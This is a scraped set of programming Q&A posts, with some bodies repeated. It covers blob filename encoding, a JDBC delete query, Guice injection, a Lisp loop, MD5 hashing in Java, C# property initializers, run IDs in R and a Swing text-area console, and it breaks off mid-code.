AAÀÃÁÆÂÅÄÞC?ÇÈEÉËÊGGIÏÎÍÌLLÑNØÓÒÔÕÖSS?Š?TÙÛÚÜÝZŽZâaaáaãA??åà??A?aäæ?????þcCCcç??c?Cc???dddÐdDddd?d?dðd?????eeeEEeeE?Eê?èëé?fƒf?fggGgGgGg?g?ggggg?g?g?ggg?h?HHh??îïíìiiiI?iiII?I??I???i?j?j?j?jJjjj?j?j?j?j?j?j?j?j?k?kKk?k?kkk?k?l?l?lllllllLlLl?lLlll?l????ñ?N????n?n?Nn??oõôOoOOoø?oò?OoóOœŒö?????qrrRrR?R????Sšs?s?s????ß?t?t?tTt?t?tTtTt™tu?UuUuUUuUuUUuuUUuUùúû?uuUUuuü?v?v?v?wwwWw?yýÿŸY?ž??z?z??~.[]{}()@!#$%^&*+|¦„®©

or similar to these, these characters become headache, like file uploaded successfully but when fetch it from sources, it is not visible on HTML page, and only broken image shown.

I converted these characters to actual alphabets (example: 'Ĵ'=>'j', 'Ĉ'=>'c', 'ǎ'=>'a') but now my client want to keep these characters as it is, and when user downloaded file, they need same file name as they uploaded,

In backend i am using PHP and database is PostgreSQL,

How can i solve this issue.

答: You can't use these characters in the name of the blob. See this article about naming and referencing blobs. What you might try is storing the original name in the [metadata] property after uploading the blob, and retrieving it when you download or refer to the blob. </p>


问:
Delete query working in PgAdmin 3 but not working on Java JDBC
I am trying to delete a list of times saved in a database where the date (end_time - timestamp) is bigger that my reference day for a specific employee (employeeId - integer).
The query works perfectly on pgAdmin III. However I cannot make it work in JDBC.
It works, but it deletes everything from that particular employee and not just the dates I want. I looks like it ignores the date in the Where clause. Also, I do not get any exception.
The variable nextDayTimestamp comes out like: '2017-03-31 12:00:00.0'
Could anybody please help?

```<code> public void deleteBigListOfPeriodOfWorkFutureOnly(int employeeId, LocalDate referenceDate) {
        Connection myConn = null;
        PreparedStatement myStmt = null;

        try {

            myConn = dataSource.getConnection();

            LocalDate nextDay = referenceDate.plusDays(1);
            Timestamp nextDayTimestamp = Timestamp.valueOf(LocalDateTime.of(nextDay, LocalTime.NOON));
            String sql = "delete from working_time where working_time.end_time > ? and employee_id = ?";

            myStmt = myConn.prepareStatement(sql);

            myStmt.setTimestamp(1, nextDayTimestamp);
            myStmt.setInt(2, employeeId);

            myStmt.executeUpdate();

        } catch (SQLException e) {
            e.printStackTrace();
        } finally {

            CloseConnection.close(myConn, myStmt, null);
        }

    }
}
</code>```

答:
I think First where condition is always true you should:

First: print the nextDayTimestamp and make sure it is valid

Second: If it is valid try the condition on postgresql sql query

Body:
I am trying to delete a list of times saved in a database where the date (end_time - timestamp) is bigger that my reference day for a specific employee (employeeId - integer).
The query works perfectly on pgAdmin III. However I cannot make it work in JDBC.
It works, but it deletes everything from that particular employee and not just the dates I want. I looks like it ignores the date in the Where clause. Also, I do not get any exception.
The variable nextDayTimestamp comes out like: '2017-03-31 12:00:00.0'
Could anybody please help?

 public void deleteBigListOfPeriodOfWorkFutureOnly(int employeeId, LocalDate referenceDate) {
        Connection myConn = null;
        PreparedStatement myStmt = null;

        try {

            myConn = dataSource.getConnection();

            LocalDate nextDay = referenceDate.plusDays(1);
            Timestamp nextDayTimestamp = Timestamp.valueOf(LocalDateTime.of(nextDay, LocalTime.NOON));
            String sql = "delete from working_time where working_time.end_time > ? and employee_id = ?";

            myStmt = myConn.prepareStatement(sql);

            myStmt.setTimestamp(1, nextDayTimestamp);
            myStmt.setInt(2, employeeId);

            myStmt.executeUpdate();

        } catch (SQLException e) {
            e.printStackTrace();
        } finally {

            CloseConnection.close(myConn, myStmt, null);
        }

    }
}


问:
DI with arguments in the constructor
So I'm implementing a Dependency Injection framework into my Java project (Google Guice) and everything is pretty good, I like it but there's a small problem;
I want to make a static instance of my main project's class (where it instantiates the dependencies, etc). But I don't know any method to instantiate it using Guice, I can't instantiate it manually because I'm using DI in the constructor of it (I have objects in the constructor) which means that I am not able to access the class' non-static variables needed to instantiate the class.
I tried using a Provider but I couldn't really understand where to bind it, because I don't want to have an interface for the main class (will if needed).

答:
You can get three different answers here depending on the question.

To directly answer the question in the title (DI with arguments in the constructor), you can mix DI with constuctor arguments by instead injecting a Factory. Though you're welcome to write one manually, Guice can do this for you as assisted injection (see FactoryModuleBuilder), or you can use the equivalent code-generated solution AutoFactory popular through Dagger.

If you're trying to initialize a static class's fields in a Guice application, Guice can do that for you as soon as the Injector is created. Simply call requestStaticInjection in a Module you feed to Guice. This, as Andy Turner pointed out, will cause you to miss out on some of the benefits of Guice: Because you're injecting the instance statically, there's very little opportunity for you to provide replacement implementations in tests or in other class reuse. Guice describes this more in the static injections section of its wiki:

When migrating an application from static factories to Guice, it is possible to change incrementally. Static injection is a helpful crutch here. It makes it possible for objects to partially participate in dependency injection, by gaining access to injected types without being injected themselves. [...]

Static members will not be injected at instance-injection time. This API is not recommended for general use because it suffers many of the same problems as static factories: it's clumsy to test, it makes dependencies opaque, and it relies on global state.

The best overall solution is in Andy's answer: Adapt your application to use DI, which will let it inject the objects that you would otherwise make static.

Title: DI with arguments in the constructor


问:
Lisp: How to obtain the final loop value?
```<code>(defun index-iteration (n)
  (let ((x 0))
    (loop for j from 0 to n while (< x n) do
      (setf x (max-index-for-iteration j)))))
</code>```

I have the following lisp code, at the end of the loop I want to return the value j. I have investigated:

collect but that returns a list of values with the value I want (the last j at the end)

finally but it didn't work.

return but it ends the loop early

答:
It seems like you might want something like this, but I am unsure:

```<code>(defun index-iteration (n)
  (loop :for j :from 0 :to n
        :for x := (max-index-for-iteration j)
        :while (<= x n)
        :finally (return (1- j))))
</code>```

There are several things that make this smell like off-by-one: the to, the <=, and in your question code the fact that x is always 0 during the first iteration (what should happen for n = 0?).  Maybe show a bit more context, e. g. max-index-for-iteration, or what you want to achieve, for a better answer.

Body:
(defun index-iteration (n)
  (let ((x 0))
    (loop for j from 0 to n while (< x n) do
      (setf x (max-index-for-iteration j)))))

I have the following lisp code, at the end of the loop I want to return the value j. I have investigated:

collect but that returns a list of values with the value I want (the last j at the end)

finally but it didn't work.

return but it ends the loop early

Body:
It seems like you might want something like this, but I am unsure:

(defun index-iteration (n)
  (loop :for j :from 0 :to n
        :for x := (max-index-for-iteration j)
        :while (<= x n)
        :finally (return (1- j))))

There are several things that make this smell like off-by-one: the to, the <=, and in your question code the fact that x is always 0 during the first iteration (what should happen for n = 0?).  Maybe show a bit more context, e. g. max-index-for-iteration, or what you want to achieve, for a better answer.


问:
Current way of generating MD5 hash (Java 8/9)
Working on an old java project that generates MD5 hash strings got me wondering about the current state of things.

Is there a good way to create such hash using current technologies?  Maybe some new libraries for Java 8/9?

The way I generated MD5 hash before was:

```<code> import java.security.*;
 import java.math.*;

 public class MD5 {
    public static void main(String args[]) throws Exception{
       String s="This is a test";
       MessageDigest m=MessageDigest.getInstance("MD5");
       m.update(s.getBytes(),0,s.length());
       System.out.println("MD5: "+new BigInteger(1,m.digest()).toString(16));
   }
}
</code>```

Thanks.

答:
I recently build my Malware Analysis project in which I generate MD5 hash for all files in directory and sub directory.

I used Apache Commons Codec.

Here is the related part of code:

```<code>for (File file : fList) {
    if (file.isFile()) {
        try {
                fin = new FileInputStream(file);
                String digest = DigestUtils.md5Hex(fin); //used to get MD5
                String path = file.getAbsolutePath(); //return full path
                hash.put(path, digest); //put path and MD5 in map
                fin.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            }
    } else if (file.isDirectory()) {
        listFiles(file.getAbsolutePath()); // recursivily call
    }
}
</code>```

Hope this helps you.

Body:
Working on an old java project that generates MD5 hash strings got me wondering about the current state of things.

Is there a good way to create such hash using current technologies?  Maybe some new libraries for Java 8/9?

The way I generated MD5 hash before was:

 import java.security.*;
 import java.math.*;

 public class MD5 {
    public static void main(String args[]) throws Exception{
       String s="This is a test";
       MessageDigest m=MessageDigest.getInstance("MD5");
       m.update(s.getBytes(),0,s.length());
       System.out.println("MD5: "+new BigInteger(1,m.digest()).toString(16));
   }
}

Thanks.

Body:
I recently build my Malware Analysis project in which I generate MD5 hash for all files in directory and sub directory.

I used Apache Commons Codec.

Here is the related part of code:

for (File file : fList) {
    if (file.isFile()) {
        try {
                fin = new FileInputStream(file);
                String digest = DigestUtils.md5Hex(fin); //used to get MD5
                String path = file.getAbsolutePath(); //return full path
                hash.put(path, digest); //put path and MD5 in map
                fin.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            }
    } else if (file.isDirectory()) {
        listFiles(file.getAbsolutePath()); // recursivily call
    }
}

Hope this helps you.


问:
Why no initial values on {get;set;} accessors (VS 2010 C#)
This must have been asked many times but I cannot find it....sorry...

Why is the following not permitted?

public string MyString = "initial value" {get; private set;}

(Visual C# Express 2010)

答:
In VS 2017 you can:</p>

```<code>    public int Minimum { get; private set; } = 0;
    public int Maximum { get; set; } = 5;
</code>```

Body:
In VS 2017 you can:

    public int Minimum { get; private set; } = 0;
    public int Maximum { get; set; } = 5;


问:
Create group ID for runs of non-zero values
I would like to find contiguous runs of non-zero elements in a vector (separated by at least one zero), and to assign an ID to each group (subsequent integer).

Toy vector:

value <- c(1, 1, 2, 3, 4, 3,   0, 0, 0,   1, 2, 3, 9, 8,   0, 0,   3, 2)

In this example, there are three runs of non-zero values: [1,1,2,3,4,3], [1,2,3,9,8], [3,2], separated by chunks of one or more zeros.

Each non-zero run should have a unique ID: 1, 2, 3... Runs of zero should have NA as ID:

```<code>   value id
1      1  1
2      1  1
3      2  1
4      3  1
5      4  1
6      3  1
7      0 NA
8      0 NA
9      0 NA
10     1  2
11     2  2
12     3  2
13     9  2
14     8  2
15     0 NA
16     0 NA
17     3  3
18     2  3
</code>```

答:
You can try:</p>

```<code>as.integer(factor(cumsum(value==0)*NA^(value==0)))
#[1]  1  1  1  1  1  1 NA NA NA  2  2  2  2  2 NA NA  3  3
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I would like to find contiguous runs of non-zero elements in a vector (separated by at least one zero), and to assign an ID to each group (subsequent integer).

Toy vector:

value <- c(1, 1, 2, 3, 4, 3,   0, 0, 0,   1, 2, 3, 9, 8,   0, 0,   3, 2)

In this example, there are three runs of non-zero values: [1,1,2,3,4,3], [1,2,3,9,8], [3,2], separated by chunks of one or more zeros.

Each non-zero run should have a unique ID: 1, 2, 3... Runs of zero should have NA as ID:

   value id
1      1  1
2      1  1
3      2  1
4      3  1
5      4  1
6      3  1
7      0 NA
8      0 NA
9      0 NA
10     1  2
11     2  2
12     3  2
13     9  2
14     8  2
15     0 NA
16     0 NA
17     3  3
18     2  3

Body:
You can try:

as.integer(factor(cumsum(value==0)*NA^(value==0)))
#[1]  1  1  1  1  1  1 NA NA NA  2  2  2  2  2 NA NA  3  3


问:
Console Output and User Input in JTextArea
I am working on a GUI and I want the user to be able to press the "Answer" button and then the console will print on textarea2 with user input enabled as well. What would I have to do to get the JTextArea (textarea2) to function as a console and print the text in the insertquestions method along with accepting user input?

```<code>package Scrambler;

import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.*;

import java.util.Random;
import java.util.Scanner;

public class GUI extends JFrame {

    private JMenuBar menuBar;
    private JButton button1;
    private JButton button2;
    private JPanel panel1;
    private JPanel panel2;
    private JTextField textfield2;
    private JTextArea textarea;
    private JTextArea textarea2;
    private JTextField textfield5;
    private JTextField textfield7;

    public GUI() {

        this.setTitle("UnScrambleGUI");
        this.setSize(500, 400);
        generateMenu();
        this.setJMenuBar(menuBar);

        JPanel contentPane = new JPanel(null);
        contentPane.setPreferredSize(new Dimension(500, 400));
        contentPane.setBackground(new Color(192, 192, 192));

        button1 = new JButton();
        button1.setBounds(56, 341, 103, 31);
        button1.setBackground(new Color(214, 217, 223));
        button1.setForeground(new Color(51, 153, 0));
        button1.setEnabled(true);
        button1.setFont(new Font("sansserif", 0, 12));
        button1.setText("Print Words");
        button1.setVisible(true);

        button1.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent evt) {
                insertwords(evt);
            }
        });

        button2 = new JButton();
        button2.setBounds(311, 341, 95, 31);
        button2.setBackground(new Color(214, 217, 223));
        button2.setForeground(new Color(51, 153, 0));
        button2.setEnabled(true);
        button2.setFont(new Font("sansserif", 0, 12));
        button2.setText("Answer");
        button2.setVisible(true);

        button2.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent evt) {
                insertquestions(evt);
            }
        });

        panel1 = new JPanel(null);
        panel1.setBorder(BorderFactory.createEtchedBorder(1));
        panel1.setBounds(22, 92, 179, 237);
        panel1.setBackground(new Color(214, 217, 223));
        panel1.setForeground(new Color(0, 0, 0));
        panel1.setEnabled(true);
        panel1.setFont(new Font("sansserif", 0, 12));
        panel1.setVisible(true);

        panel2 = new JPanel(null);
        panel2.setBorder(BorderFactory.createEtchedBorder(1));
        panel2.setBounds(229, 170, 258, 161);
        panel2.setBackground(new Color(214, 217, 223));
        panel2.setForeground(new Color(0, 0, 0));
        panel2.setEnabled(true);
        panel2.setFont(new Font("sansserif", 0, 12));
        panel2.setVisible(true);

        textfield2 = new JTextField();
        textfield2.setBounds(74, 65, 89, 25);
        textfield2.setBackground(new Color(153, 153, 153));
        textfield2.setForeground(new Color(255, 255, 255));
        textfield2.setEnabled(true);
        textfield2.setFont(new Font("sansserif", 0, 12));
        textfield2.setText("    Word List");
        textfield2.setVisible(true);

        textarea = new JTextArea();
        textarea.setBounds(10, 9, 156, 219);
        textarea.setBackground(new Color(255, 255, 255));
        textarea.setForeground(new Color(0, 0, 0));
        textarea.setEnabled(true);
        textarea.setFont(new Font("sansserif", 0, 12));
        textarea.setText("");
        textarea.setVisible(true);

        textarea2 = new JTextArea();
        textarea2.setBounds(9, 9, 237, 143);
        textarea2.setBackground(new Color(255, 255, 255));
        textarea2.setForeground(new Color(0, 0, 0));
        textarea2.setEnabled(true);
        textarea2.setFont(new Font("sansserif", 0, 12));
        textarea2.setText("");
        textarea2.setVisible(true);

        textfield5 = new JTextField();
        textfield5.setBounds(307, 140, 89, 28);
        textfield5.setBackground(new Color(153, 153, 153));
        textfield5.setForeground(new Color(255, 255, 255));
        textfield5.setEnabled(true);
        textfield5.setFont(new Font("sansserif", 0, 12));
        textfield5.setText(" Answer Here:");
        textfield5.setVisible(true);

        textfield7 = new JTextField();
        textfield7.setBounds(164, 10, 175, 37);
        textfield7.setBackground(new Color(102, 102, 102));
        textfield7.setForeground(new Color(255, 255, 255));
        textfield7.setEnabled(true);
        textfield7.setFont(new Font("Tahoma", 0, 18));
        textfield7.setText(" Unscrambler Game");
        textfield7.setVisible(true);

        contentPane.add(button1);
        contentPane.add(button2);
        contentPane.add(panel1);
        contentPane.add(panel2);
        contentPane.add(textfield2);
        panel1.add(textarea);
        panel2.add(textarea2);
        contentPane.add(textfield5);
        contentPane.add(textfield7);

        this.add(contentPane);
        this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        this.setLocationRelativeTo(null);
        this.pack();
        this.setVisible(true);

    }

    private void insertwords(ActionEvent evt) {

        Random r = new Random();

        String word1 = "application";
        String word2 = "programming";
        String word3 = "variable";
        String word4 = "method";
        String word5 = "class";
        String word6 = "package";
        String word7 = "import";
        String word8 = "boolean";
        String word9 = "debugger";
        String word10 = "syntax";
        String word11 = "compile";
        String word12 = "computer";

        String line1 = "-----------------------------------------";
        word1 = scramble(r, word1);
        String one = "#1- " + word1;
        word2 = scramble(r, word2);
        String two = "#2- " + word2;
        word3 = scramble(r, word3);
        String three = "#3- " + word3;
        word4 = scramble(r, word4);
        String four = "#4-  " + word4;
        word5 = scramble(r, word5);
        String five = "#5- " + word5;
        word6 = scramble(r, word6);
        String six = "#6- " + word6;
        word7 = scramble(r, word7);
        String seven = "#7- " + word7;
        word8 = scramble(r, word8);
        String eight = "#8- " + word8;
        word9 = scramble(r, word9);
        String nine = "#9- " + word9;
        word10 = scramble(r, word10);
        String ten = "#10- " + word10;
        word11 = scramble(r, word11);
        String elev = "#11- " + word11;
        word12 = scramble(r, word12);
        String twel = "#12- " + word12;
        String line2 = ("-----------------------------------------");

        textarea.setText(one + "\n" + two + "\n" + three + "\n" + four + "\n" + five + "\n" + six + "\n" + seven + "\n" + eight + "\n" + nine + "\n" + ten + "\n" + elev + "\n" + twel + "\n");

    }

    private void insertquestions(ActionEvent evt) {
        boolean incorrect = true;

        for (int attempts = 0; attempts < 3 && incorrect; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #1?");
            String answer1 = input.nextLine();

            if (!"application".equals(answer1)) {
                System.out.println("Incorrect. Hint: This runs on your computer.");
            } else {
                System.out.println("Correct.");
                incorrect = false;

            }
        }
        boolean incorrect2 = true;

        for (int attempts = 0; attempts < 3 && incorrect2; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #2?");
            String answer2 = input.nextLine();
            if (!"programming".equals(answer2)) {
                System.out.println("Incorrect. Hint: Writing code for a computer.");
            } else {
                System.out.println("Correct.");
                incorrect2 = false;
            }
        }
        boolean incorrect3 = true;

        for (int attempts = 0; attempts < 3 && incorrect3; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #3?");
            String answer3 = input.nextLine();
            if (!"variable".equals(answer3)) {
                System.out.println("Incorrect. Hint: A value in a program that can be changed.");
            } else {
                System.out.println("Correct.");
                incorrect3 = false;
            }
        }

        boolean incorrect4 = true;

        for (int attempts = 0; attempts < 3 && incorrect4; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #4?");
            String answer4 = input.nextLine();
            if (!"method".equals(answer4)) {
                System.out.println("Incorrect. Hint: Tells the computer to do a procedure.");
            } else {
                System.out.println("Correct.");
                incorrect4 = false;
            }
        }

        boolean incorrect5 = true;

        for (int attempts = 0; attempts < 3 && incorrect5; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #5?");
            String answer5 = input.nextLine();
            if (!"class".equals(answer5)) {
                System.out.println("Incorrect. Hint: Used to describe one or more objects in a program.");
            } else {
                System.out.println("Correct.");
                incorrect5 = false;
            }
        }

        boolean incorrect6 = true;

        for (int attempts = 0; attempts < 3 && incorrect6; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #6?");
            String answer6 = input.nextLine();

            if (!"package".equals(answer6)) {
                System.out.println("Incorrect. Hint: Organizes a set of classes or interfaces.");
            } else {
                System.out.println("Correct.");
                incorrect6 = false;
            }
        }

        boolean incorrect7 = true;

        for (int attempts = 0; attempts < 3 && incorrect7; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #7?");
            String answer7 = input.nextLine();
            if (!"import".equals(answer7)) {
                System.out.println("Incorrect. Hint: To send data from one program to another.");
            } else {
                System.out.println("Correct.");
                incorrect7 = false;
            }
        }

        boolean incorrect8 = true;

        for (int attempts = 0; attempts < 3 && incorrect8; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #8?");
            String answer8 = input.nextLine();
            if (!"boolean".equals(answer8)) {
                System.out.println("Incorrect. Hint: True or False?");
            } else {
                System.out.println("Correct.");
                incorrect8 = false;
            }
        }

        boolean incorrect9 = true;

        for (int attempts = 0; attempts < 3 && incorrect9; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #9?");
            String answer9 = input.nextLine();
            if (!"debugger".equals(answer9)) {
                System.out.println("Incorrect. Hint: Used to exterminate bugs.");
            } else {
                System.out.println("Correct.");
                incorrect9 = false;
            }
        }

        boolean incorrect10 = true;

        for (int attempts = 0; attempts < 3 && incorrect10; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #10?");
            String answer10 = input.nextLine();
            if (!"syntax".equals(answer10)) {
                System.out.println("Incorrect. Hint: Set of rules to follow while programming.");
            } else {
                System.out.println("Correct.");
                incorrect10 = false;
            }
        }

        boolean incorrect11 = true;

        for (int attempts = 0; attempts < 3 && incorrect11; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #11?");
            String answer11 = input.nextLine();
            if (!"compile".equals(answer11)) {
                System.out.println("Incorrect. Hint: To translate code into a understandable language for a machine.");
            } else {
                System.out.println("Correct.");
                incorrect11 = false;
            }
        }

        boolean incorrect12 = true;

        for (int attempts = 0; attempts < 3 && incorrect12; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #12?");
            String answer12 = input.nextLine();
            if (!"computer".equals(answer12)) {
                System.out.println("Incorrect. Hint: What you are using right now.");
            } else {
                System.out.println("Correct.");
                incorrect12 = false;
            }

        }

    }

    public void generateMenu() {
        menuBar = new JMenuBar();

        JMenu file = new JMenu("File");
        JMenu tools = new JMenu("Tools");
        JMenu help = new JMenu("Help");

        JMenuItem open = new JMenuItem("Open   ");
        JMenuItem save = new JMenuItem("Save   ");
        JMenuItem exit = new JMenuItem("Exit   ");
        JMenuItem preferences = new JMenuItem("Preferences   ");
        JMenuItem about = new JMenuItem("About   ");

        file.add(open);
        file.add(save);
        file.addSeparator();
        file.add(exit);
        tools.add(preferences);
        help.add(about);

        menuBar.add(file);
        menuBar.add(tools);
        menuBar.add(help);
    }

    public static void main(String[] args) {
        System.setProperty("swing.defaultlaf", "com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                new GUI();
            }
        });
    }

    public static String scramble(Random random, String inputString) {

        char a[] = inputString.toCharArray();

        for (int n = 0; n < a.length - 1; n++) {
            int k = random.nextInt(a.length - 1);

            char temp = a[n];
            a[n] = a[k];
            a[k] = temp;
        }

        return new String(a);
    }
}
</code>```

答:
As mentioned in comments, you don't want to shoe-horn a console program into a GUI as you're proposing since while this is do-able, it would require jumping through threading hoops, and would be programming against the event-driven paradigm of the GUI library.

Instead I strongly suggest that you "refactor" this program, that is re-structure and re-write it from the ground up, with an eye towards creating a robust set of classes that can work well in an event-driven environment. I would deconstruct the problem into non-GUI model classes and GUI or "view" classes, the most important being the former, the model.

For example for the model, consider creating the following classes:

ScrambledWord: a class that takes and holds a test String, that takes and stores a "hint" String, that can produce a randomly scrambled version of the test String, that has a public boolean evaluate(String) method that can test a String to see if it is correct, and that has appropriate constructor, setters and getters.

Student: a class that holds the test score of the student using your GUI

Test: a class that holds a collection (such as an ArrayList) of ScrambledWord objects, that holds a Student object, that can iterate through this collection returning the next ScrambledWord in the list, that can change the test score for student.

Then for the GUI, consider creating

a QuestionPanel JPanel that has a JLabel that displays the currently tested scrambled word, a JTextField where the user can type in their guess, and a JButton for when the student wants to submit their guess. If the guess is wrong, an error JOptionPane can be displayed that also shows the hint. If the guess is right, then the next question is shown. Perhaps also give it another JButton to allow the user to skip the current question if they can't solve it.

A main JPanel that holds the Question JPanel and that allows the user to start the test, finish the test, that shows the user's score.

Key here will be the ActionListeners for the button(s). The submit button's listener will test the text in the JTextField against the currently displayed ScrambledWord object by calling its evaluate(...) method passing the text field's text in. If evaluate returns true, then increment the student's score and show the next question within the QuestionPanel JPanel, perhaps with a public void setScrambledWord(ScrambledWord sWord)

These are just suggestions that you can follow if desired or not, but again my main recommendation is to not try to force your console application into the GUI. You won't be a happy programmer if you do this.

Body:
I am working on a GUI and I want the user to be able to press the "Answer" button and then the console will print on textarea2 with user input enabled as well. What would I have to do to get the JTextArea (textarea2) to function as a console and print the text in the insertquestions method along with accepting user input?

package Scrambler;

import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.*;

import java.util.Random;
import java.util.Scanner;

public class GUI extends JFrame {

    private JMenuBar menuBar;
    private JButton button1;
    private JButton button2;
    private JPanel panel1;
    private JPanel panel2;
    private JTextField textfield2;
    private JTextArea textarea;
    private JTextArea textarea2;
    private JTextField textfield5;
    private JTextField textfield7;

    public GUI() {

        this.setTitle("UnScrambleGUI");
        this.setSize(500, 400);
        generateMenu();
        this.setJMenuBar(menuBar);

        JPanel contentPane = new JPanel(null);
        contentPane.setPreferredSize(new Dimension(500, 400));
        contentPane.setBackground(new Color(192, 192, 192));

        button1 = new JButton();
        button1.setBounds(56, 341, 103, 31);
        button1.setBackground(new Color(214, 217, 223));
        button1.setForeground(new Color(51, 153, 0));
        button1.setEnabled(true);
        button1.setFont(new Font("sansserif", 0, 12));
        button1.setText("Print Words");
        button1.setVisible(true);

        button1.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent evt) {
                insertwords(evt);
            }
        });

        button2 = new JButton();
        button2.setBounds(311, 341, 95, 31);
        button2.setBackground(new Color(214, 217, 223));
        button2.setForeground(new Color(51, 153, 0));
        button2.setEnabled(true);
        button2.setFont(new Font("sansserif", 0, 12));
        button2.setText("Answer");
        button2.setVisible(true);

        button2.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent evt) {
                insertquestions(evt);
            }
        });

        panel1 = new JPanel(null);
        panel1.setBorder(BorderFactory.createEtchedBorder(1));
        panel1.setBounds(22, 92, 179, 237);
        panel1.setBackground(new Color(214, 217, 223));
        panel1.setForeground(new Color(0, 0, 0));
        panel1.setEnabled(true);
        panel1.setFont(new Font("sansserif", 0, 12));
        panel1.setVisible(true);

        panel2 = new JPanel(null);
        panel2.setBorder(BorderFactory.createEtchedBorder(1));
        panel2.setBounds(229, 170, 258, 161);
        panel2.setBackground(new Color(214, 217, 223));
        panel2.setForeground(new Color(0, 0, 0));
        panel2.setEnabled(true);
        panel2.setFont(new Font("sansserif", 0, 12));
        panel2.setVisible(true);

        textfield2 = new JTextField();
        textfield2.setBounds(74, 65, 89, 25);
        textfield2.setBackground(new Color(153, 153, 153));
        textfield2.setForeground(new Color(255, 255, 255));
        textfield2.setEnabled(true);
        textfield2.setFont(new Font("sansserif", 0, 12));
        textfield2.setText("    Word List");
        textfield2.setVisible(true);

        textarea = new JTextArea();
        textarea.setBounds(10, 9, 156, 219);
        textarea.setBackground(new Color(255, 255, 255));
        textarea.setForeground(new Color(0, 0, 0));
        textarea.setEnabled(true);
        textarea.setFont(new Font("sansserif", 0, 12));
        textarea.setText("");
        textarea.setVisible(true);

        textarea2 = new JTextArea();
        textarea2.setBounds(9, 9, 237, 143);
        textarea2.setBackground(new Color(255, 255, 255));
        textarea2.setForeground(new Color(0, 0, 0));
        textarea2.setEnabled(true);
        textarea2.setFont(new Font("sansserif", 0, 12));
        textarea2.setText("");
        textarea2.setVisible(true);

        textfield5 = new JTextField();
        textfield5.setBounds(307, 140, 89, 28);
        textfield5.setBackground(new Color(153, 153, 153));
        textfield5.setForeground(new Color(255, 255, 255));
        textfield5.setEnabled(true);
        textfield5.setFont(new Font("sansserif", 0, 12));
        textfield5.setText(" Answer Here:");
        textfield5.setVisible(true);

        textfield7 = new JTextField();
        textfield7.setBounds(164, 10, 175, 37);
        textfield7.setBackground(new Color(102, 102, 102));
        textfield7.setForeground(new Color(255, 255, 255));
        textfield7.setEnabled(true);
        textfield7.setFont(new Font("Tahoma", 0, 18));
        textfield7.setText(" Unscrambler Game");
        textfield7.setVisible(true);

        contentPane.add(button1);
        contentPane.add(button2);
        contentPane.add(panel1);
        contentPane.add(panel2);
        contentPane.add(textfield2);
        panel1.add(textarea);
        panel2.add(textarea2);
        contentPane.add(textfield5);
        contentPane.add(textfield7);

        this.add(contentPane);
        this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        this.setLocationRelativeTo(null);
        this.pack();
        this.setVisible(true);

    }

    private void insertwords(ActionEvent evt) {

        Random r = new Random();

        String word1 = "application";
        String word2 = "programming";
        String word3 = "variable";
        String word4 = "method";
        String word5 = "class";
        String word6 = "package";
        String word7 = "import";
        String word8 = "boolean";
        String word9 = "debugger";
        String word10 = "syntax";
        String word11 = "compile";
        String word12 = "computer";

        String line1 = "-----------------------------------------";
        word1 = scramble(r, word1);
        String one = "#1- " + word1;
        word2 = scramble(r, word2);
        String two = "#2- " + word2;
        word3 = scramble(r, word3);
        String three = "#3- " + word3;
        word4 = scramble(r, word4);
        String four = "#4-  " + word4;
        word5 = scramble(r, word5);
        String five = "#5- " + word5;
        word6 = scramble(r, word6);
        String six = "#6- " + word6;
        word7 = scramble(r, word7);
        String seven = "#7- " + word7;
        word8 = scramble(r, word8);
        String eight = "#8- " + word8;
        word9 = scramble(r, word9);
        String nine = "#9- " + word9;
        word10 = scramble(r, word10);
        String ten = "#10- " + word10;
        word11 = scramble(r, word11);
        String elev = "#11- " + word11;
        word12 = scramble(r, word12);
        String twel = "#12- " + word12;
        String line2 = ("-----------------------------------------");

        textarea.setText(one + "\n" + two + "\n" + three + "\n" + four + "\n" + five + "\n" + six + "\n" + seven + "\n" + eight + "\n" + nine + "\n" + ten + "\n" + elev + "\n" + twel + "\n");

    }

    private void insertquestions(ActionEvent evt) {
        boolean incorrect = true;

        for (int attempts = 0; attempts < 3 && incorrect; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #1?");
            String answer1 = input.nextLine();

            if (!"application".equals(answer1)) {
                System.out.println("Incorrect. Hint: This runs on your computer.");
            } else {
                System.out.println("Correct.");
                incorrect = false;

            }
        }
        boolean incorrect2 = true;

        for (int attempts = 0; attempts < 3 && incorrect2; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #2?");
            String answer2 = input.nextLine();
            if (!"programming".equals(answer2)) {
                System.out.println("Incorrect. Hint: Writing code for a computer.");
            } else {
                System.out.println("Correct.");
                incorrect2 = false;
            }
        }
        boolean incorrect3 = true;

        for (int attempts = 0; attempts < 3 && incorrect3; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #3?");
            String answer3 = input.nextLine();
            if (!"variable".equals(answer3)) {
                System.out.println("Incorrect. Hint: A value in a program that can be changed.");
            } else {
                System.out.println("Correct.");
                incorrect3 = false;
            }
        }

        boolean incorrect4 = true;

